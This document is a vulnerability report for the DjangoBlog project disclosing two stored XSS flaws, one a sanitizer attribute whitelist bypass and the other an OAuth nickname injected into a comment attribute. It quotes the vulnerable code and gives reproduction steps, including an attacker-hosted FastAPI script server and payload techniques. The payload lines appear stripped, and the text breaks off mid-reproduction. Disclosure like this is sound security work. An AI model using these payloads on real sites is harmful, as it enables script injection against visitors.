# DjangoBlog Vulnerability Report Software: DjangoBlog Developer or vendor: liangliangyy Code repository: https://github.com/liangliangyy/DjangoBlog ## 1. Comment Sanitizer Attribute Whitelist Bypass Leading to Stored XSS Brief description: The bleach attribute whitelist for comment bodies puts no restriction on `span`, `div`, `pre` and `code`, so an attacker can place an element carrying `autofocus` and `onfocus` in a comment and the script runs when a visitor opens the article page, with no interaction. Affected versions: 2.1.0.0 to commit f1d13badaa Preconditions: Comments are enabled on the target article, and the attacker holds an account (self-registration when the site has mail configured, a third-party account when OAuth is configured; if neither is available, an account can be registered by way of CVE-2026-6578). ### Root Cause The `comment_markdown` filter renders Markdown, sanitizes the result with `sanitize_html`, and returns it through `mark_safe`: ```python # blog/templatetags/blog_tags.py:156-158 commit f1d13badaa def comment_markdown(content): content = CommonMarkdown.get_markdown(content) return mark_safe(sanitize_html(content)) ``` `sanitize_html` filters attributes against the bleach `attributes` whitelist, and `ALLOWED_ATTRIBUTES` hands the attribute check for `span`, `div`, `pre` and `code` to `class_filter`: ```python # djangoblog/utils.py:248-268 commit f1d13badaa def class_filter(tag, name, value): """自定义class属性过滤器""" if name == 'class': allowed_classes = [cls for cls in value.split() if cls in ALLOWED_CLASSES] return ' '.join(allowed_classes) if allowed_classes else False return value ALLOWED_ATTRIBUTES = { 'a': ['href', 'title', 'rel'], 'img': ['src', 'alt', 'title', 'width', 'height'], 'table': ['border', 'cellpadding', 'cellspacing'], 'th': ['align', 'valign'], 'td': ['align', 'valign'], 'span': class_filter, 'div': class_filter, 'pre': class_filter, 'code': class_filter } ``` `class_filter` validates values only for `class` and returns every other attribute unchanged, and bleach keeps that return value as the attribute value. Event attributes such as `onfocus` and `onmouseover` therefore survive on the four tags above. The comment template prints the sanitized result directly: ```django {# templates/comments/tags/comment_item_modern.html:68 commit f1d13badaa #} {{ comment_item.body|comment_markdown }} ``` The payload fires on page load through `autofocus` with `onfocus`. bleach discards empty attribute values, so `autofocus` needs a non-empty value and is written as `autofocus="x"`. The browser focuses the element while loading the page, and `onfocus` runs. ### Reproduction Environment Deploy from source as described in the official documentation: ```bash git clone https://github.com/liangliangyy/DjangoBlog.git cd DjangoBlog git checkout f1d13badaa cd deploy/docker-compose docker compose up -d --build docker compose exec djangoblog python manage.py createsuperuser ``` The reproduction machine used here listens on `192.168.48.130:8080`. Log in at `http://192.168.48.130:8080/admin/` and create an article. The attacker logs in through GitHub. Create an OAuth App on GitHub with Homepage URL `http://192.168.48.130:8080` and Authorization callback URL `http://192.168.48.130:8080/oauth/authorize?type=github`. Then add a GitHub entry under OAuth in the admin, with AppKey and AppSecret set to the Client ID and Client Secret of that app. ### Reproduction Visit `http://192.168.48.130:8080/oauth/oauthlogin?type=github` and authorize on GitHub. The browser returns to the site in a logged-in state. Open the article, paste the following into the comment box and submit: ```html
x
``` ![](img/v1_payload.png) The alert appears as soon as the page refreshes, with no click on the page: ![](img/v1_alert.png) Copy the article URL and open it in a private window while logged out. The script also runs while the page loads: ![](img/v1_alert_incognito.png) ## 2. OAuth Nickname Injected into the Comment Reaction Attribute Leading to Stored XSS Brief description: When an attacker logs in through OAuth, the nickname returned by the provider is written into the site username unchanged, that username ends up in the `data-reactions` attribute of comment reactions, and the attribute is wrapped in single quotes, so the nickname closes the attribute and injects a script. Affected versions: commit f1d13badaa Preconditions: The site has OAuth login enabled, and the attacker owns a third-party account whose nickname can be changed (GitHub, for example). ### Root Cause After a successful OAuth login, the profile returned by the provider is written to `OAuthUser.nickname` unchanged. For GitHub: ```python # oauth/oauthmanager.py:301-306 commit f1d13badaa datas = json.loads(rsp) user = OAuthUser() user.picture = datas['avatar_url'] user.nickname = datas['name'] user.openid = datas['id'] user.type = 'github' ``` When the site holds no account for that email address, `authorize` creates one and logs it in. The username comes from the nickname above: ```python # oauth/views.py:102-112 commit f1d13badaa result = get_user_model().objects.get_or_create(email=user.email) author = result[0] if result[1]: try: get_user_model().objects.get(username=user.nickname) except ObjectDoesNotExist: author.username = user.nickname else: author.username = "djangoblog" + timezone.now().strftime('%y%m%d%I%M%S') author.source = 'authorize' author.save() ``` The comment reaction query takes the `nickname` or `username` of the users who reacted: ```python # comments/models.py:71-76 commit f1d13badaa reaction_users = CommentReaction.objects.filter( comment=self, reaction_type=emoji ).select_related('user')[:10] # 最多显示10个用户 user_names = [r.user.nickname or r.user.username for r in reaction_users] ``` The template serializes that data into the `data-reactions` attribute with `to_json`, and `json.dumps` does not escape single quotes: ```python # blog/templatetags/blog_tags.py:162-168 commit f1d13badaa def to_json(value): try: return mark_safe(json.dumps(value, ensure_ascii=False)) except (TypeError, ValueError): return mark_safe('{}') ``` ```django {# templates/comments/tags/comment_item_modern.html:76 commit f1d13badaa #} data-reactions='{{ comment_item|get_reactions_for_user:user|to_json }}' ``` An attacker who sets the nickname to HTML starting with a single quote and adds one reaction to a comment gets the script into the page of everyone who opens that article. `OAuthUser.nickname` is limited to 50 characters, so the nickname has to carry a short script URL. ### Reproduction Environment The environment is the same as in section 1. The attacker also needs an HTTP service that serves the script: ```python from fastapi import FastAPI from fastapi.responses import PlainTextResponse JS = """ document.body.innerHTML='

XSS on '+document.domain+'

'; """ app = FastAPI() @app.get("/x.js") async def x_js(): return PlainTextResponse(JS, media_type="application/javascript") ``` ```bash uvicorn attacker_server:app --host 0.0.0.0 --port 8081 ``` ### Reproduction The attacker changes Name in the GitHub profile to the following string: ``` '>